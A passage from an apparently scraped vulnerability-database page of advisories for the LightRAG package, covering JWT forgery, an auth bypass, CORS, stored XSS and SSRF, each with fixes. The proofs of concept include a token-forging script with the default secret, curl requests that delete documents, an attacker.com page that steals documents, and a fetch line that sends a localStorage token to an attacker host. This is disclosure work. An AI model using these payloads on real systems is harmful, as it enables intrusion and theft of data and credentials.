lightrag/api/utils_api.py:214-216 inside combined_dependency short-circuits authorization on any valid guest token when auth_configured is false, before reaching the X-API-Key check on line 237:
```
if not auth_configured and token_info.get("role") == "guest":
    return
```

Proof of concept (offline-minted token, zero server contact)

Tested against a clean install of commit 157c331 running locally with only LIGHTRAG_API_KEY=super-...ass configured.

$ python3 - <<'PY'
import jwt
from datetime import datetime, timedelta, timezone
print(jwt.encode(
    {"sub":"guest","role":"guest",
     "exp":datetime.now(timezone.utc)+timedelta(hours=24),
     "metadata":{"auth_mode":"disabled"}},
    "lightrag-jwt-default-secret-key!",
    algorithm="HS256"))
PY
eyJhbGci...

# Control — no creds: correctly rejected
$ curl -s -w "HTTP %{http_code}\n" http://target:9876/documents
{"detail":"API Key required"}
HTTP 403

# Control — wrong API key: correctly rejected
$ curl -s -w "HTTP %{http_code}\n" -H "X-API-Key: wrong-key" http://target:9876/documents
{"detail":"Invalid API Key"}
HTTP 403

# Bypass — offline-minted guest JWT: accepted
$ curl -s -w "HTTP %{http_code}\n" -H "Authorization: Bearer *** \
    http://target:9876/documents
{"statuses":{}}
HTTP 200

# Destructive confirmation — DELETE /documents with the same token
$ curl -s -X DELETE -w "HTTP %{http_code}\n" -H "Authorization: Bearer *** \
    http://target:9876/documents
{"status":"success","message":"All documents cleared successfully. Deleted 0 files."}
HTTP 200

The guest JWT also does not need to be minted offline — GET /auth-status hands one out to anyone, even when the server is started with LIGHTRAG_API_KEY set. Either path (offline or /auth-status) yields the same bypass.

Impact

Any LightRAG instance that is reachable on the network and configured with:

LIGHTRAG_API_KEY set (i.e. the operator believes the server is protected), and
AUTH_ACCOUNTS unset (i.e. they opted out of the password-based login flow)

is fully accessible to any anonymous caller. This configuration is documented as the "simple API-Key authentication" mode in docs/LightRAG-API-Server.md, so it is expected to be common in production. An attacker can:

Read and delete arbitrary documents (/documents, DELETE /documents)
Upload arbitrary documents and text for ingestion (/documents/upload, /documents/text, /documents/texts, /documents/file_batch, /documents/scan)
Clear LLM / embedding caches (/documents/clear_cache)
Inspect and mutate the knowledge graph (/graph/*)
Run arbitrary queries that will consume paid LLM / embedding credits (/query, /query/stream)

Because the server may be exposed behind corporate reverse proxies that trust LIGHTRAG_API_KEY, this also lets the attacker bypass perimeter authentication that the operator assumed was sufficient.

Suggested CVSS

7.5 — CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L (High). Unauthenticated, network-reachable, affects confidentiality and integrity of all ingested documents and knowledge graphs; availability impact via cache wipes and credit exhaustion.

Suggested fix

Any one of the following individually closes the primary vector; all three are recommended for defense in depth:

Remove the hardcoded fallback. Mirror the fix for CVE-2026-30762: refuse to start (or emit a randomly-generated ephemeral secret that is not exported) whenever TOKEN_SECRET is unset, regardless of AUTH_ACCOUNTS.
Gate /auth-status and /login when LIGHTRAG_API_KEY is set. Either require Depends(combined_auth) or stop minting guest tokens whenever api_key_configured is true.
Fix the short-circuit in combined_dependency. Do not accept guest tokens as authentication when api_key_configured is true; always require a valid X-API-Key header in that configuration.

Affected versions

main through commit 157c331 (2026-04-15)
Most recent release v1.4.15 and all prior releases that ship the API-Key-only code path

Prior art checked

GHSA-8ffj-4hx4-9pgf / CVE-2026-39413 — JWT alg:none. Unrelated.
GHSA-mcww-4hxq-hfr3 / CVE-2026-30762 — hardcoded JWT secret combined with AUTH_ACCOUNTS. Fixed by PR #2869, which explicitly does not cover the API-Key-only configuration.
Issues/PRs searched: "guest token bypass", "DEFAULT_TOKEN_SECRET", "hardcoded secret", "auth-status", "api key bypass". No prior report covering this vector.

Discovery

Found during an external security review of LightRAG's API authentication flow. Reporter can be credited publicly as "patchmyday (Jason Zhang)" upon disclosure.

Affected versions


          0.0.2


          0.0.3


          0.0.4


          0.0.5


          0.0.6


          0.0.7


          0.0.8


          0.0.9


          1.0.0


          1.0.1


          1.0.3


          1.0.5

+ 75 more


            1.0.6


            1.0.8


            1.0.9


            1.1.0


            1.1.1


            1.1.2


            1.1.3


            1.1.4


            1.1.5


            1.1.6


            1.1.7


            1.2.1


            1.2.2


            1.2.3


            1.2.5


            1.2.6


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.3.4


            1.3.5


            1.3.6


            1.3.7


            1.3.8


            1.3.9


            1.4.0


            1.4.1


            1.4.10


            1.4.11


            1.4.11rc2


            1.4.12


            1.4.12rc1


            1.4.13


            1.4.13rc1


            1.4.14


            1.4.15


            1.4.16


            1.4.2


            1.4.3


            1.4.4


            1.4.5


            1.4.6


            1.4.7


            1.4.8.1


            1.4.8.2


            1.4.8rc4


            1.4.8rc6


            1.4.8rc7


            1.4.8rc8


            1.4.8rc9


            1.4.9


            1.4.9.1


            1.4.9.10


            1.4.9.11


            1.4.9.2


            1.4.9.3


            1.4.9.4


            1.4.9.4rc1


            1.4.9.5


            1.4.9.6


            1.4.9.7


            1.4.9.8


            1.4.9.9


            1.4.9rc1


            1.4.9rc2


            1.4.9rc3


            1.4.9rc4


            1.5.0


            1.5.0rc1


            1.5.0rc2


            1.5.0rc3


            1.5.1


            1.5.2


            1.5.3

Fixed in


          1.5.4

References

Updated Jul 23, 2026 · Source: OSV.dev

CVE-2026-61736 PYSEC-2026-3474 GHSA-6x6h-qqr7-855w Jul 23, 2026

LightRAG: CORS Wildcard + Credentials Enables Any-Origin Credentialed Requests

9.3 / 10

Critical

Network Low None Required Changed High High None

Summary

The server defaults to CORS_ORIGINS=* combined with allow_credentials=True. Starlette's CORSMiddleware echoes the requesting origin in preflight responses when credentials are enabled, meaning every origin is effectively whitelisted for credentialed cross-origin requests. Any malicious website can perform authenticated API calls on behalf of a logged-in user.

Details

# lightrag/api/config.py:639
args.cors_origins = get_env_value("CORS_ORIGINS", "*")  # default wildcard

# lightrag/api/lightrag_server.py:1379
app.add_middleware(
    CORSMiddleware,
    allow_origins=["*"],       # any origin
    allow_credentials=True,   # credentials — PROBLEM with wildcard
    allow_methods=["*"],
    allow_headers=["*"],
)

# Starlette CORSMiddleware (confirmed in source):
# preflight_explicit_allow_origin = not allow_all_origins or allow_credentials
# = not True or True = True  → echoes the requesting origin back, not "*"
# Result: every origin receives Access-Control-Allow-Credentials: true

PoC

Host on any origin. Open in browser where user is logged in to LightRAG:

<!-- attacker.com/steal.html -->
<script>
const TARGET = "http://lightrag-server:9621";
(async () => {
  // Get victim token (or re-use existing session)
  const r1 = await fetch(`${TARGET}/login`, {
    method: "POST", credentials: "include",
    headers: {"Content-Type": "application/x-www-form-urlencoded"},
    body: "username=victim&password=known_pass"
  });
  const { access_token } = await r1.json();

  // Exfiltrate all documents
  const docs = await (await fetch(`${TARGET}/documents`, {
    credentials: "include",
    headers: { Authorization: `Bearer ${access_token}` }
  })).json();
  console.log("STOLEN DOCS:", docs);
})();
</script>

Impact

Permissive cross-domain policy (CWE-942). Any website visited by an authenticated LightRAG user can silently make authenticated API requests, exfiltrating all documents and knowledge graph data or performing destructive actions such as deleting the entire document store.

Affected versions


          0.0.2


          0.0.3


          0.0.4


          0.0.5


          0.0.6


          0.0.7


          0.0.8


          0.0.9


          1.0.0


          1.0.1


          1.0.3


          1.0.5

+ 75 more


            1.0.6


            1.0.8


            1.0.9


            1.1.0


            1.1.1


            1.1.2


            1.1.3


            1.1.4


            1.1.5


            1.1.6


            1.1.7


            1.2.1


            1.2.2


            1.2.3


            1.2.5


            1.2.6


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.3.4


            1.3.5


            1.3.6


            1.3.7


            1.3.8


            1.3.9


            1.4.0


            1.4.1


            1.4.10


            1.4.11


            1.4.11rc2


            1.4.12


            1.4.12rc1


            1.4.13


            1.4.13rc1


            1.4.14


            1.4.15


            1.4.16


            1.4.2


            1.4.3


            1.4.4


            1.4.5


            1.4.6


            1.4.7


            1.4.8.1


            1.4.8.2


            1.4.8rc4


            1.4.8rc6


            1.4.8rc7


            1.4.8rc8


            1.4.8rc9


            1.4.9


            1.4.9.1


            1.4.9.10


            1.4.9.11


            1.4.9.2


            1.4.9.3


            1.4.9.4


            1.4.9.4rc1


            1.4.9.5


            1.4.9.6


            1.4.9.7


            1.4.9.8


            1.4.9.9


            1.4.9rc1


            1.4.9rc2


            1.4.9rc3


            1.4.9rc4


            1.5.0


            1.5.0rc1


            1.5.0rc2


            1.5.0rc3


            1.5.1


            1.5.2


            1.5.3

Fixed in


          1.5.4

References

Updated Jul 23, 2026 · Source: OSV.dev

CVE-2026-39413 PYSEC-2026-2592 GHSA-8ffj-4hx4-9pgf Jul 13, 2026

lightrag-hku: JWT Algorithm Confusion Vulnerability

4.2 / 10

Medium

Network High High Required Unchanged High None None

Summary

The LightRAG API is vulnerable to a JWT algorithm confusion attack where an attacker can forge tokens by specifying 'alg': 'none' in the JWT header. Since the jwt.decode() call does not explicitly deny the 'none' algorithm, a crafted token without a signature will be accepted as valid, leading to unauthorized access.

Details

In lightrag/api/auth.py at line 128, the validate_token method calls:

payload = jwt.decode(token, self.secret, algorithms=[self.algorithm])

This allows any algorithm listed in the token's header to be processed, including 'none'. The code does not explicitly specify that 'none' is not allowed, making it possible for an attacker to bypass authentication.

PoC

An attacker can generate a JWT with the following structure:

{
  "header": {
    "alg": "none",
    "typ": "JWT"
  },
  "payload": {
    "sub": "admin",
    "exp": 1700000000,
    "role": "admin"
  }
}

Then send a request like:

curl -H "Authorization: Bearer eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiJhZG1pbiIsImV4cCI6MTcwMDAwMDAwMCwicm9sZSI6ImFkbWluIn0." http://localhost:8000/api/protected-endpoint

Impact

An attacker can impersonate any user, including administrators, by forging a JWT with 'alg': 'none', gaining full access to protected resources without needing valid credentials.

Recommended Fix

Explicitly specify allowed algorithms and exclude 'none'. Modify the validate_token method to:

allowed_algorithms = [self.algorithm] if self.algorithm != 'none' else ['HS256', 'HS384', 'HS512']
payload = jwt.decode(token, self.secret, algorithms=allowed_algorithms)

Or better yet, hardcode the expected algorithm(s):

payload = jwt.decode(token, self.secret, algorithms=['HS256'])

Affected versions


          0.0.2


          0.0.3


          0.0.4


          0.0.5


          0.0.6


          0.0.7


          0.0.8


          0.0.9


          1.0.0


          1.0.1


          1.0.3


          1.0.5

+ 65 more


            1.0.6


            1.0.8


            1.0.9


            1.1.0


            1.1.1


            1.1.2


            1.1.3


            1.1.4


            1.1.5


            1.1.6


            1.1.7


            1.2.1


            1.2.2


            1.2.3


            1.2.5


            1.2.6


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.3.4


            1.3.5


            1.3.6


            1.3.7


            1.3.8


            1.3.9


            1.4.0


            1.4.1


            1.4.10


            1.4.11


            1.4.11rc2


            1.4.12


            1.4.12rc1


            1.4.13


            1.4.13rc1


            1.4.2


            1.4.3


            1.4.4


            1.4.5


            1.4.6


            1.4.7


            1.4.8.1


            1.4.8.2


            1.4.8rc4


            1.4.8rc6


            1.4.8rc7


            1.4.8rc8


            1.4.8rc9


            1.4.9


            1.4.9.1


            1.4.9.10


            1.4.9.11


            1.4.9.2


            1.4.9.3


            1.4.9.4


            1.4.9.4rc1


            1.4.9.5


            1.4.9.6


            1.4.9.7


            1.4.9.8


            1.4.9.9


            1.4.9rc1


            1.4.9rc2


            1.4.9rc3


            1.4.9rc4

Fixed in


          1.4.14

References

Updated Jul 13, 2026 · Source: OSV.dev

CVE-2026-30762 PYSEC-2026-2593 GHSA-mcww-4hxq-hfr3 Jul 13, 2026

LightRAG: Hardcoded JWT Signing Secret Allows Authentication Bypass

7.5 / 10

High

Network Low None None Unchanged High None None

Subject: Security Vulnerability Report Hardcoded JWT Secret (CVE-2026-30762)

Hi HKUDS team,

I'm writing to report a security vulnerability I discovered in LightRAG v1.4.10. This has been assigned CVE-2026-30762 by MITRE.

Vulnerability: Hardcoded JWT signing secret Type: Improper Authentication (CWE-287) Severity: High Attack Vector: Remote / Unauthenticated

Summary: The file lightrag/api/config.py (line 397) uses a default JWT secret "lightrag-jwt-default-secret" when the TOKEN_SECRET environment variable is not set. The AuthHandler in lightrag/api/auth.py (lines 24-25) uses this secret to sign and verify tokens. An unauthenticated attacker can forge valid JWT tokens using the publicly known default secret and gain access to any protected endpoint.

Reproduction:

Install LightRAG v1.4.10 with AUTH_ACCOUNTS configured but no TOKEN_SECRET set
Use PyJWT to sign a token: jwt.encode({"sub": "admin", "role": "user"}, "lightrag-jwt-default-secret", algorithm="HS256")
Send a request to any protected endpoint with the header: Authorization: Bearer <forged_token>
Access is granted without valid credentials

Suggested Fix: Require TOKEN_SECRET to be explicitly set when AUTH_ACCOUNTS is configured. Refuse to start the API server if authentication is enabled but no custom secret is provided.

I'm following a 90-day responsible disclosure timeline from today's date. Please let me know if you have any questions or need additional information.

Best regards, Venkata Avinash Taduturi

Affected versions


          0.0.2


          0.0.3


          0.0.4


          0.0.5


          0.0.6


          0.0.7


          0.0.8


          0.0.9


          1.0.0


          1.0.1


          1.0.3


          1.0.5

+ 64 more


            1.0.6


            1.0.8


            1.0.9


            1.1.0


            1.1.1


            1.1.2


            1.1.3


            1.1.4


            1.1.5


            1.1.6


            1.1.7


            1.2.1


            1.2.2


            1.2.3


            1.2.5


            1.2.6


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.3.4


            1.3.5


            1.3.6


            1.3.7


            1.3.8


            1.3.9


            1.4.0


            1.4.1


            1.4.10


            1.4.11


            1.4.11rc2


            1.4.12


            1.4.12rc1


            1.4.13rc1


            1.4.2


            1.4.3


            1.4.4


            1.4.5


            1.4.6


            1.4.7


            1.4.8.1


            1.4.8.2


            1.4.8rc4


            1.4.8rc6


            1.4.8rc7


            1.4.8rc8


            1.4.8rc9


            1.4.9


            1.4.9.1


            1.4.9.10


            1.4.9.11


            1.4.9.2


            1.4.9.3


            1.4.9.4


            1.4.9.4rc1


            1.4.9.5


            1.4.9.6


            1.4.9.7


            1.4.9.8


            1.4.9.9


            1.4.9rc1


            1.4.9rc2


            1.4.9rc3


            1.4.9rc4

Fixed in


          1.4.13

References

Updated Jul 13, 2026 · Source: OSV.dev

Sep 08, 2025

1.4.8rc7 pre

9 CVEs

CVE-2026-86062 PYSEC-2026-4065 GHSA-xpjq-3w4w-w5wr Oct 01, 2026

lightrag-hku: Stored Cross-Site Scripting (XSS) in the LightRAG WebUI chat/answer renderer via ingested content

6.1 / 10

Medium

Network Low None Required Changed Low Low None

Summary

The LightRAG WebUI renders assistant/answer chat content as raw HTML — react-markdown is configured with rehypePlugins={[rehypeRaw]} and skipHtml={false} and no HTML sanitizer (rehype-sanitize), element allow-list, or custom urlTransform. Because answer content is derived from user-ingested documents, an attacker who can add a single document can store an HTML/JavaScript payload that executes in the browser of any user who later retrieves it (typically an administrator), leading to auth-token theft from localStorage and full API takeover. No authentication is required in the default configuration.

Details

Sink — lightrag_webui/src/components/retrieval/ChatMessage.tsx:

Main answer (MessageMarkdown, lines ~348-351) and thinking content (lines ~252-272) render with rehypePlugins={[rehypeRaw, …]} and skipHtml={false}. The components map (lines ~111-156) only restyles safe formatting tags (p, h1–h4, ul, ol, li, code); there is no rehype-sanitize, no allowedElements/disallowedElements, and no custom urlTransform.
Second sink: mermaid is initialized with securityLevel: 'loose' (line ~433) and the rendered SVG is injected via container.innerHTML = svg (line ~483) + bindFunctions(container). 'loose' disables mermaid's output sanitization, so a ```mermaid block in answer content (HTML label / click directive) is an additional script-execution path.
Hardening (not code execution): KaTeX is set with trust: true (lines ~261/~359). \href{javascript:…} is blocked by React 19, but \includegraphics{URL} renders a live remote <img src> (arbitrary external resource load from the victim's browser). Recommend trust: false.

Source → sink: POST /documents/text or POST /documents/upload stores the document → POST /query returns it (verbatim when only_need_context=true, lightrag/api/routers/query_routes.py:27; otherwise echoed by the LLM) → the response is streamed into assistantMessage.content (lightrag_webui/src/features/RetrievalView.tsx:340) → rendered by the sink above.

react-markdown's built-in defenses do NOT cover this: it sanitizes href/src URLs (so javascript: links are blocked) and React ignores string event handlers (so <img onerror> is dropped), but raw elements such as <iframe srcdoc="…"> and <svg><script> are rendered unchanged and execute.

PoC

Benign, local-only. Tested at commit f3378a3 (v1.5.5) with react@19, react-markdown@10.1.0, rehype-raw@7.0.0.

Fastest check (code review, ~10s): in ChatMessage.tsx, the <ReactMarkdown> that renders answers uses rehypePlugins={[rehypeRaw, …]} with skipHtml={false} and no rehype-sanitize / allow-list. Per react-markdown's own documentation, rehype-raw on untrusted input without rehype-sanitize allows HTML injection — that is the vulnerability.

Runnable proof (~2 min) — reproduces the exact renderer config and shows it execute in a browser:

mkdir xss-check && cd xss-check
npm init -y
npm install react@19 react-dom@19 react-markdown@10 rehype-raw@7
# save the script below as poc.mjs, then:
node poc.mjs
# open the generated poc.html in any browser (or headless):
#   msedge --headless=new --dump-dom "file:///ABS/PATH/poc.html"

poc.mjs:

import React from 'react';
import { renderToStaticMarkup } from 'react-dom/server';
import ReactMarkdown from 'react-markdown';
import rehypeRaw from 'rehype-raw';
import { writeFileSync } from 'fs';

// Stands in for an assistant answer built from an ingested document.
const answer =
  `<iframe srcdoc="<script>` +
  `var h=parent.document.createElement('h1');h.style.color='red';` +
  `h.textContent='XSS EXECUTED on '+(parent.document.domain||'this page');` +
  `parent.document.body.appendChild(h);parent.document.title='XSS-EXECUTED';` +
  `<\/script>"></iframe>`;

// EXACT options from ChatMessage.tsx (rehypeRaw + skipHtml:false, no sanitizer):
const body = renderToStaticMarkup(
  React.createElement(ReactMarkdown, { rehypePlugins: [rehypeRaw], skipHtml: false }, answer)
);
writeFileSync('poc.html', `<!doctype html><title>before-xss</title><body>${body}</body>`);
console.log(body);   // note the LIVE <iframe srcDoc="..."> — not HTML-escaped

Observed (verified in headless Chromium/Edge): the injected srcdoc script runs — the page title becomes XSS-EXECUTED and a red "XSS EXECUTED on this page" heading is appended to the document. This confirms attacker HTML in answer content executes. (Separately: <script>, <svg><script>, and <iframe srcdoc> survive rendering; <img onerror> and javascript: links are neutralized by React / react-markdown, so <iframe srcdoc> is the reliable vector.)

Illustrative end-to-end source path (in a live instance):

curl -X POST http://127.0.0.1:9621/documents/text \
  -H 'Content-Type: application/json' \
  -d '{"text":"<iframe srcdoc=\"&lt;script&gt;document.title=document.domain&lt;/script&gt;\"></iframe>","file_source":"note.md"}'

Then query the knowledge base from the WebUI (or POST /query with only_need_context=true); the stored payload renders and the benign marker script runs in the viewer's browser (the page title becomes the origin). A real attacker replaces the benign marker with fetch('//attacker/?t='+localStorage.getItem('LIGHTRAG-API-TOKEN')) to exfiltrate the victim's JWT (verified storage key) and impersonate them against the API.

Impact

Stored (persistent) cross-site scripting. Any user in the default no-auth deployment, or any authenticated low-privilege collaborator when auth is enabled, can plant a document whose content runs arbitrary JavaScript in the browser of every user who later retrieves it. Because LightRAG keeps the auth token in localStorage, the injected script can read it and drive the API as the victim (exfiltrate/modify/delete the knowledge base and graph, upload documents) — i.e. escalate to full account/instance takeover.

Affected versions


          0.0.2


          0.0.3


          0.0.4


          0.0.5


          0.0.6


          0.0.7


          0.0.8


          0.0.9


          1.0.0


          1.0.1


          1.0.3


          1.0.5

+ 77 more


            1.0.6


            1.0.8


            1.0.9


            1.1.0


            1.1.1


            1.1.2


            1.1.3


            1.1.4


            1.1.5


            1.1.6


            1.1.7


            1.2.1


            1.2.2


            1.2.3


            1.2.5


            1.2.6


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.3.4


            1.3.5


            1.3.6


            1.3.7


            1.3.8


            1.3.9


            1.4.0


            1.4.1


            1.4.10


            1.4.11


            1.4.11rc2


            1.4.12


            1.4.12rc1


            1.4.13


            1.4.13rc1


            1.4.14


            1.4.15


            1.4.16


            1.4.2


            1.4.3


            1.4.4


            1.4.5


            1.4.6


            1.4.7


            1.4.8.1


            1.4.8.2


            1.4.8rc4


            1.4.8rc6


            1.4.8rc7


            1.4.8rc8


            1.4.8rc9


            1.4.9


            1.4.9.1


            1.4.9.10


            1.4.9.11


            1.4.9.2


            1.4.9.3


            1.4.9.4


            1.4.9.4rc1


            1.4.9.5


            1.4.9.6


            1.4.9.7


            1.4.9.8


            1.4.9.9


            1.4.9rc1


            1.4.9rc2


            1.4.9rc3


            1.4.9rc4


            1.5.0


            1.5.0rc1


            1.5.0rc2


            1.5.0rc3


            1.5.1


            1.5.2


            1.5.3


            1.5.4


            1.5.5rc1

Fixed in


          1.5.5

References

Updated Oct 01, 2026 · Source: OSV.dev

CVE-2026-85740 PYSEC-2026-4064 GHSA-vv3m-f8x4-7377 Oct 01, 2026

lightrag-hku: SSRF via IPv6-transition address bypass (NAT64, IPv4-compatible, 6to4) of the native-markdown image-download guard

7.1 / 10

High

Network High Low None Changed High Low None

Summary

LightRAG's native markdown parser downloads external images referenced by an uploaded markdown or textpack document. The only SSRF guard, _validated_addresses() in lightrag/parser/markdown/parser.py, resolves the image host and rejects it when the resolved IP is not is_global. That check is evaluated on the raw resolved address and never decodes IPv6 transition wrappers that embed an internal IPv4. Python's ipaddress classifies a NAT64 (64:ff9b::/96 and the RFC 8215 64:ff9b:1::/48 prefix), IPv4-compatible (::a.b.c.d), or 6to4 (2002::/16) literal that wraps an internal IPv4 as globally routable, so the guard passes it. On a host with NAT64/DNS64 routing the request is then delivered to the embedded internal target (loopback, RFC1918, or a cloud metadata endpoint), and the fetched body is ingested. The plain and IPv4-mapped (::ffff:) forms of the same internal address are correctly blocked, so this is an encoding that defeats the existing filter.

Affected component and versions

Package: lightrag-hku (LightRAG), the native markdown image-download path.
Component: lightrag/parser/markdown/parser.py, guard _validated_addresses() (the if not (ip.is_global or ...) check), reached from _download() -> _build_guarded_opener().open(req).
Enabled by default: download_enabled = _env_bool("NATIVE_MD_IMAGE_DOWNLOAD_ENABLED", True).
Affected: LightRAG <= 1.5.4 (latest release at time of report, commit 9a45b64).
Precondition: the caller can upload a document (API key via Depends(combined_auth)); the host has NAT64/DNS64 routing for the encoded address to reach the internal endpoint.

Vulnerable code vs the guarded sibling

Evaluated on the exact resolved addresses (CPython ipaddress):

| Form | address | is_global | guard verdict | |---|---|---|---| | plain internal 127.0.0.1 | 127.0.0.1 | False | BLOCK (correct) | | IPv4-mapped | ::ffff:7f00:1 | False | BLOCK (correct) | | NAT64 64:ff9b::/96 | 64:ff9b::7f00:1 | True | PASS (bypass) | | NAT64 RFC8215 64:ff9b:1::/48 | 64:ff9b:1::7f00:1 | True | PASS (bypass) | | IPv4-compatible ::a.b.c.d | ::7f00:1 | True | PASS (bypass) | | 6to4 2002::/16 | 2002:7f00:1:: | True | PASS (bypass) |

The guard already blocks the plain and IPv4-mapped internal forms (the forms the author tested), proving the intent is to reject internal destinations; it never canonicalizes the other transition wrappers, so they pass.

Severity

High. CWE-918 (Server-Side Request Forgery). CVSS 3.1 vector AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:L/A:N, base score 7.1. AC:H reflects the NAT64/DNS64 network precondition for end-to-end reach; PR:L because document upload requires the API key; S:C because the request pivots into an internal network segment; C:H for internal/metadata/secret disclosure.

Proof of concept (deployed, both directions, verbatim)

Environment: three Docker containers on an IPv6-enabled network - an internal victim (10.66.0.2:80, RFC1918) serving a unique secret, a DNS64/NAT64 gateway owning 64:ff9b::/96 that forwards [64:ff9b::0a42:0002]:80 to 10.66.0.2:80, and an attacker host with a client-side route 64:ff9b::/96 via <gateway>. This models a client on an IPv6-only / NAT64+DNS64 network (AWS/GCP IPv6-only subnets, many mobile and corporate networks). The attacker runs the EXACT released guard code (_validated_addresses, _host_is_public, _build_guarded_opener, the _Guarded*Connection/Handler classes, sliced verbatim from v1.5.4 parser.py, only the logger import shimmed) plus a verbatim reproduction of the released _download() scheme and host precheck. Trigger in production: an uploaded document containing ![x](http://[64:ff9b::<internal-hex>]/a.png).

RUN 1, released v1.5.4 guard (VULNERABLE):

attack URL = http://[64:ff9b::0a42:0002]:80/logo.png
===== DIRECTION A: ATTACK (NAT64-wrapped internal address) =====
guard verdict : PASSED (fetched)
SECRET LEAKED : True
body          : SSRF-LIGHTRAG-INTERNAL-METADATA-9f3a2b7c
===== control: plain internal address (must be BLOCKED) =====
verdict: BLOCKED at guard: non-public host blocked
===== DIRECTION B: PUBLIC address (must still be FETCHED) =====
guard verdict : PASSED (fetched)
public body   : PUBLIC-OK-BODY
===== SUMMARY =====
attack_leaked_internal_secret = True
plain_internal_blocked        = True
public_still_fetched          = True

RUN 2, one-line-class decode fix applied (same inputs, same network):

===== DIRECTION A: ATTACK (NAT64-wrapped internal address) =====
guard verdict : BLOCKED at guard: non-public host blocked
SECRET LEAKED : False
===== control: plain internal address (must be BLOCKED) =====
verdict: BLOCKED at guard: non-public host blocked
===== DIRECTION B: PUBLIC address (must still be FETCHED) =====
guard verdict : PASSED (fetched)
public body   : PUBLIC-OK-BODY
===== SUMMARY =====
attack_leaked_internal_secret = False
plain_internal_blocked        = True
public_still_fetched          = True

Fix-correctness matrix (isolated): genuine global IPv6 2606:4700:4700::1111 and 2001:4860:4860::8888 -> ALLOW (no false positive); NAT64/RFC8215/IPv4-compat/6to4 wrappers of an internal IPv4 -> BLOCK; NAT64 of a public IPv4 (64:ff9b::808:808 = 8.8.8.8) -> ALLOW.

Impact

A caller who can upload a markdown or textpack document (textpack uploads route to the native engine with zero config; markdown reaches it when the native engine is selected) can make the LightRAG server issue HTTP requests to internal-only addresses that the SSRF guard is meant to forbid, and the fetched body is ingested. On a deployment with NAT64/DNS64 routing this reaches cloud instance metadata (169.254.169.254, 100.100.100.200), loopback services, and RFC1918 internal hosts, exposing IAM credentials and internal service data.

Suggested fix

Decode the embedded IPv4 of any IPv6 transition wrapper and classify by the embedded IPv4 before the is_global check:

def _unwrap_embedded_ipv4(ip):
    """Return the IPv4 embedded in an IPv6 transition wrapper (IPv4-mapped,
    IPv4-compatible, NAT64 64:ff9b::/96 and RFC8215 64:ff9b:1::/48, 6to4
    2002::/16) so it is classified by IPv4 rules; else return ip unchanged."""
    if ip.version != 6:
        return ip
    if ip.ipv4_mapped is not None:
        return ip.ipv4_mapped
    if getattr(ip, "sixtofour", None) is not None:
        return ip.sixtofour
    b = ip.packed
    if b[:12] == b"\x00" * 12 and b[12:] not in (b"\x00\x00\x00\x00", b"\x00\x00\x00\x01"):
        return ip_address(b[12:])
    if b[:12] == b"\x00\x64\xff\x9b" + b"\x00" * 8:
        return ip_address(b[12:])
    if b[:6] == b"\x00\x64\xff\x9b\x00\x01":
        return ip_address(b[12:])
    return ip

Then in _validated_addresses:

judged = _unwrap_embedded_ipv4(ip)
if not (judged.is_global or any(ip in net for net in allow)):
    return []

Verified: this blocks the NAT64/IPv4-compat/6to4 internal forms while genuine public IPs and public NAT64-wrapped IPs still pass.

Resolution

Addressed by #3426 (pending merge), targeted for release in lightrag-hku 1.5.5. _validated_addresses() now decides global-routability by starting from the stdlib's is_global on the literal and only ever tightening it — the guard is never more permissive than ipaddress itself:

Fixed-position transition wrappers are decoded and the embedded IPv4 must also be global (IPv4-mapped ::ffff:0:0/96, IPv4-compatible ::/96, and the NAT64 well-known prefix 64:ff9b::/96 — RFC 6052 §2.2, contiguous low-32 embedding). So 64:ff9b::7f00:1 (→ loopback) is blocked while 64:ff9b::808:808 (→ public 8.8.8.8) still passes.
Blocks whose embedded-IPv4 position must not be trusted are default-denied as whole blocks, independent of the interpreter: the RFC 8215 local-use prefix 64:ff9b:1::/48 (technology-agnostic, embedded-IPv4 position not guaranteed per RFC 8215 §5 — a fixed-offset decode is itself bypassable, e.g. 64:ff9b:1:7f00:0:100:808:808 encodes 127.0.0.1 but its low 32 bits read as public 8.8.8.8) and 6to4 2002::/16 (IANA global-reachability N/A; current CPython classifies the whole block non-global — RFC 7526 deprecated only the 6to4 anycast relay path, not the 2002::/16 prefix itself). Decoding 6to4 by its embedded IPv4 would have re-permitted 2002::/16 addresses the stdlib already blocks, so it is denied outright instead.

Genuine global IPv6 and a NAT64 wrapper of a public IPv4 still pass; regression tests cover every wrapped form of loopback / RFC1918 / metadata, the RFC 6052 /48 suffix bypass, and 6to4 of a public IPv4. Boundary: a NAT64 deployment using a custom, globally-routable Network-Specific Prefix (RFC 6052 permits any /32../96), or a genuine local NAT64 / legacy 6to4 in the force-denied blocks, is not auto-permitted — such operators should pin the download egress or set NATIVE_MD_IMAGE_ALLOWED_NON_PUBLIC_CIDRS deliberately.

Credit

tonghuaroot (tonghuaroot@gmail.com).

Affected versions


          0.0.2


          0.0.3


          0.0.4


          0.0.5


          0.0.6


          0.0.7


          0.0.8


          0.0.9


          1.0.0


          1.0.1


          1.0.3


          1.0.5

+ 77 more


            1.0.6


            1.0.8


            1.0.9


            1.1.0


            1.1.1


            1.1.2


            1.1.3


            1.1.4


            1.1.5


            1.1.6


            1.1.7


            1.2.1


            1.2.2


            1.2.3


            1.2.5


            1.2.6


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.3.4


            1.3.5


            1.3.6


            1.3.7


            1.3.8


            1.3.9


            1.4.0


            1.4.1


            1.4.10


            1.4.11


            1.4.11rc2


            1.4.12


            1.4.12rc1


            1.4.13


            1.4.13rc1


            1.4.14


            1.4.15


            1.4.16


            1.4.2


            1.4.3


            1.4.4


            1.4.5


            1.4.6


            1.4.7


            1.4.8.1


            1.4.8.2


            1.4.8rc4


            1.4.8rc6


            1.4.8rc7


            1.4.8rc8


            1.4.8rc9


            1.4.9


            1.4.9.1


            1.4.9.10


            1.4.9.11


            1.4.9.2


            1.4.9.3


            1.4.9.4


            1.4.9.4rc1


            1.4.9.5


            1.4.9.6


            1.4.9.7


            1.4.9.8


            1.4.9.9


            1.4.9rc1


            1.4.9rc2


            1.4.9rc3


            1.4.9rc4


            1.5.0


            1.5.0rc1


            1.5.0rc2


            1.5.0rc3


            1.5.1


            1.5.2


            1.5.3


            1.5.4


            1.5.5rc1

Fixed in


          1.5.5

References

